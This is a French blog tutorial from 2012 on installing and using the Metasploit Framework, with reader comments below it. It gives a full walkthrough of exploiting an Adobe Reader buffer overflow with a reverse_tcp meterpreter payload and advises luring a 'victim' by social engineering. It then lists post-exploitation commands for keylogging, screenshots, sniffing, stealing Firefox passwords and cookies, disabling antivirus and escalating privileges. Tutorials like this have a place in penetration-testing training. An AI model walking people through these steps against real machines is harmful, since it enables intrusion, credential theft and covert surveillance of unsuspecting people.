Oct 6, 2012
3 heures
Moyen

Metsploit est un outil pour le développement et l’exécution d’exploits contre une machine distante, il permet de réaliser des audits en sécurité, de tester et développer ses propres exploits. Créé à l’origine en langage de programmation Perl, Metasploit Framework a été complètement réécrit en langage Ruby.


Il est utilisé souvent par les administrateurs systèmes pour tester les vulnérabilités des systèmes informatiques afin de les protéger, ou par les hackers à des fins de piratage.

Dans cet article, nous allons voir comment fonctionne le Framework Metasploit, puis nous verrons comment l’installer et l’utiliser. Pour information, Metasploit est pré-installer sur la distribution Linux Kali Linux.

Installer Metasploit sous Linux

Première méthode :

  • Pour installer Measploit sur une distribution à base de Debian, ouvrez un terminal en root et tapez la commande suivante :
    sudo apt-get install build-essential subversion ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev

     

  • Pour installer Metasploit sur une distribution à base de RPM, lancez la commande suivante :
    yum install subversion ruby ruby-libs ruby-devel ruby-irb ruby-rdoc readline rubygems ruby-sqlite3

Maintenant, il reste à installer Metasploit depuis la version SVN, pour cela tapez cette commande :

svn co http://www.metasploit.com/svn/framework3/trunk metasploit
cd metasploit
svn up

La commande svn up, lancée depuis le répertoire d’installation, permettra de maintenir Metasploit à jour facilement.

Deuxième méthode :

Allez sur http://www.metasploit.com/framework/download/
Télécharger « framework-3.4.0-linux-***.run »

  • Donner les droits d’exécution
  • Lancer l’installation dans un terminal
  • Metasploit est maintenant installé sur votre machine.

Installer Metasploit sous Windows

Le Framework Metasploit est entièrement disponible sur la plate-forme Windows. Pour l’installer, il suffit de télécharger la dernière version à partir du lien suivant : http://metasploit.com/framework/download,  puis lancez l’exécutable,
ensuite cliquez sur le traditionnel « suivant » jusqu’à obtenir le bouton « Finish ».

Une fois terminé, vous pouvez accéder à l’interface msfconsole standard, à partir du menu Démarrer.

Pour faire une mis à jour sous Windows, il faut simplement lancer la console Metasploit et cliquer sur le menu File -> New Tab -> Développement – Metasploit Update.

Qu’est ce qu’on peut faire avec Metasploit

Le Framework permet de faire énormément de chose comme :

  • Le scan et collecte l’ensemble d’informations sur une machine
  • Repérage et l’exploitation des vulnérabilités
  • Escalade de privilèges et vol de données
  • Installation d’une porte dérobée
  • Fuzzing
  • Echapper à l’antivirus
  • Suppression des logs et des traces

Architecture du Framework Metasploit

Le Framework est structuré de la manière suivante :

A première vu de l’image, on constate que l’architecture est modulaire et qu’il fonctionne sous diverses interfaces (Graphique, WEB, CLI et Console).

Dans la suite de l’article, nous allons utiliser l’interface console, c’est l’interface la plus adaptée à l’utilisation complète du MSF(metasploit Framework).

L’avantage majeur du Framework : c’est cette modularité qui permet de combiner n’importe quel exploit avec n’importe quel payload. Il facilite la tâche de l’attaquant, des développeurs d’exploits, et des développeurs de payloads.

Module Exploit

C’est des scripts ruby qui nous permettent d’exploiter une vulnérabilité sur une machine distante. On peut dire que l’exploit nous donne la possibilité de se connecter à une machine vulnérable.

Module Payload

C’est le code exécuté après s’être introduit dans la machine cible, il nous permet de contrôler la machine d’une victime. Comme par exemple :  l’ouverture d’un port sur la machine relié à un shell ou encore l’ouverture d’une session VNC.

Modules Axillaires

C’est des modules utilisés pour diverses taches comme le scan de port, sniffing, scan de services.
Une fois l’exploit et le Payload sont exécutés sur une machine vulnérable, on peut faire ce qu’on veut sur le système comme télécharger les données de la cible, mise en place d’un malware, capture d’ecran, etc.

Comment utiliser Metasploit ?

On passe maintenant à la partie la plus intéressant, c’est l’utilisation de Metasploit.

Voici les étapes basiques pour l’exploitation d’un système avec Metasploit:

  1. Collecter des informations sur la cible  tel que la version du système d’exploitation, et les services réseaux installés. Ces informations peuvent être récupérées grâce à des outils de scan de port et de Footprinting comme NmapMaltego et Nessus;
  2. Choisir et configurer un exploit;
  3. Vérifier si le système cible visée est sensible à l’exploit choisi;
  4. Choisir et configurer un payload ;
  5. Exécuter l’exploit.

Pour l’instant nous allons commencer par quelques commandes de base.

Coté Exploit

  • Comment afficher tous les exploits disponibles sur Metasploit : Show exploits
  • Pour chercher un exploit : Search nom_exploit
  • Pour sélectionner un exploit : Use nom_exploit
  • Avoir des informations sur un exploit : Info nom_exploit
  • Voir les options d’un exploit : Show options

Coté Payload

  • Afficher tous les payloads disponibles sur Metasploit : Show payload
  • Choisir le payload que l’on va utiliser : set PAYLOAD nom_payload
  • Voir les options du payload pour une configuration : Show options

En général

  • Pour obtenir de l’aide : help
  • Si vous voulez connaître la version de Metasploit : version
  • Si l’on veut lister l’intégralité des exploits, modules, playloads : search
  • Pour quitter Metasploit : quit

Exemple d’utilisation de Metasploit

Nous allons maintenant passer à la pratique et exploiter une faille dans un des logiciels de la société Adobe.

C’est une vulnérabilité qui concerne Adobe Reader v9.0.0 (Windows XP SP3) et Adobe Reader v8.1.2 (Windows XP SP2). L’ouverture d’un fichier pdf avec ces versions provoque un « Buffer overflow » et permet ainsi à une personne malveillante de prendre le contrôle d’une machine à distance.

Pour réaliser ce test, tout d’abord, télécharger la version 9.0.0 d’Adobe Reader. Le module exploit permettant de reproduire cette faille est connu sous le nom de « adobe_jbig2decode« . Voici comment l’exploiter :

Lancer msfconsole. Au bout de quelques secondes vous voyez apparaître une console. Maintenant Tapez les commandes suivante:

msf > search adobe_jbig2decode //chercher l’exploit adobe
msf > use windows/browser/adobe_jbig2decode // selectionner l’exploit
msf > info windows/browser/adobe_jbig2decode
msf > show options
msf > set SRVHOST 192.168.230.128 // l’adresse IP du serveur utilisé
msf > set SRVPORT 80
msf > set URIPATH /   //c’est l’URL utilisé pour l’exploit
msf > show targets
msf > set targets 0
msf > show payloads
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.230.128

Ici, on charge le payload « reverse_tcp ». Ce bout de shellcode sera exécuté sur la machine cible une fois la vulnérabilité exploitée. Une connexion de type TCP inversée sera alors initialisée et vous permettra d’ouvrir une session distante (même à travers un firewall).

Remarque :

L’adresse IP 192.168.230.128, c’est l’adresse de ma machine virtuel, en fait c’est l’adresse du  serveur qui contiendra le fichier PDF infecté .

Le module est correctement configuré, on peut lancer l’attaque avec la commande suivante :

msf > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.230.128:4444
[*] Using URL: http://192.168.230.128:80/
[*] Server started.

 

Un serveur web temporaire est alors démarré avec l’adresse IP suivante : http://192.168.230.128, il reste maintenant d’envoyer cette adresse à une victime en utilisant l’ingénierie sociale. Lorsque la vicitme cliquera sur le lien, un fichier PDF malveillant sera alors proposé au téléchargement. Si la personne accepte son ouverture avec Adobe Reader, Metasploit vous indiquera quelque chose comme ceci :

Il faut savoir que l’adresse IP 192.168.230.1 c’est l’adresse de la victime.

Il ne nous reste plus qu’à ouvrir une session Meterpreter à distance sur l’ordinateur de la victime :

msf > sessions -i 1
[*] Starting interaction with 1…

Nous avons désormais le contrôle total de l’ordinateur du victime. Nous pouvons faire ce que nous voulons sur sa machine. Par exemple : Nous pouvons faire des captures d’écran à distance en utilisant l’extension Espia de Meterpreter :

meterpreter > use espia
Loading extension espia…success.
meterpreter > screenshot hack.jpgOu démarrer un keylogger afin de capturer tout ce qui est saisi au clavier :

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Ou sniffer le réseau de la victime :

meterpreter >use sniffer

meterpreter > sniffer_interfaces //les interfaces disponibles

meterpreter >sniffer_start 2 //On lance la capture sur l’interface 2

meterpreter >sniffer_stats 2  //Savoir combien de paquet capturé

meterpreter >sniffer_dump 2 nom_fichier
//récupérer les paquets capturés

Ou encore ouvrir une boîte de dialogue MS-DOS  :

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:Documents and SettingsadminMes documents>

 

Quelques Astuces Meterpreter 

« run enum_firefox » permet de récupérer toues les informations liées à Firefox (cookies, historique, mot de passe enregistré)

« run get_application_list » pour connaitre les applications installées sur le poste de la victime.

« run killav » : Désactive l’antivirus.

“run kitrap0cd” : Automatise l’élévation de privilège

Il en existe une centaine qui peuvent s’avérer très utiles…
Bien entendu, la méthode décrite ci-dessous peut-être utilisée pour d’autres failles touchant des différentes logiciels. Il est possible de lister l’ensemble des exploits connus avec la commande suivante : Show exploits

Vous  pouvez faire un autre test avec une vulnérabilité plus récente, c’est la faille Zero Day sur Internet Explorer.
Voici toute l’explication dans ce billet :  Comment exploiter la faille 0day d’Internet Explorer avec Metasploit

Conclusion  

Il faut savoir que l’utilisation de Metasploit ne se limite pas à la faille d’abobe ou à la faille d’internet explorer. Des centaines d’exploits sont également disponibles et permettront d’attaquer tout type de machines. Bref, Metasploit est un outil puissant qui n’a pas fini de faire parler de lui. Je pense qu’en lisant ce tutoriel, vous avez pu utiliser les commandes de base de ce Framework .

Si vous avez des ajouts pour rendre cette page une base de donnée concernant Metasploit, n’hésitez pas à poster votre commentaire ! 🙂

A bientôt !

19 Commentaires

  1. djalilovitch

    tt d’abord bonjour a tous.je vous demande ou je px installer metaspoite .dans le programme de backtrack ou pas ?et comment est-ce que je l’installe ?et merci bien.repend moi stp

  2. H4Xor

    Question est-ce que vous pourriez re dires quelle Ip son a qui car je ne comprends pas comment la vicitme lance la sessions ?? merci d’avance de la réponse

  3. Chuckdu95

    Bonjour, je n’arrive pas a telecharger metasploit sous windows 7 quand je veut telecharger sa me met validating mail et from processing mais pas d’email
    PS: je telecharge avec internet explorer 9

  4. Beuzzy

    bonjours je suis nouveau et je bloque a la derniere étape… j’execute ce test grace a mon deuxieme ordinnateur, j’ouvre la page de mon ip, tout se passe bien, metasploit me dit: [*] 192.168.0.15 adobe_jbig2decode – Sending Adobe JBIG2Decode Heap Corruption. donc tout est bon mais quand je rentre rien ne marche et metasploit me dit:[-] Invalid session id….
    aidez moi svp j’y suis presque, que se passe-t-il ? session invalide ? thanks

  5. mus mus

    Bonjour merci pour le magnifique tuto mais simple question : es que la victime doit obligatoirement avoir la version d’adobe 9 sur son pc ? merci

  6. goldo

    salut
    lorsque je tape la commande nmap + site pas de problème, j’ai les infos qui apparaissent mais quand je tape la commande search, il ne la reconnait pas
    Je suis sous windows
    Quelle est la manip que je ne fait pas bien ?
    merci

  7. Yanis

    Bonjour , j’ai télécharger metasploit sous windows 10 mais quand je lance metasploit console , la console n’est pas pareil que sur les images , il y’a pas de menu et je ne peu rien taper dessus

    aider moi svp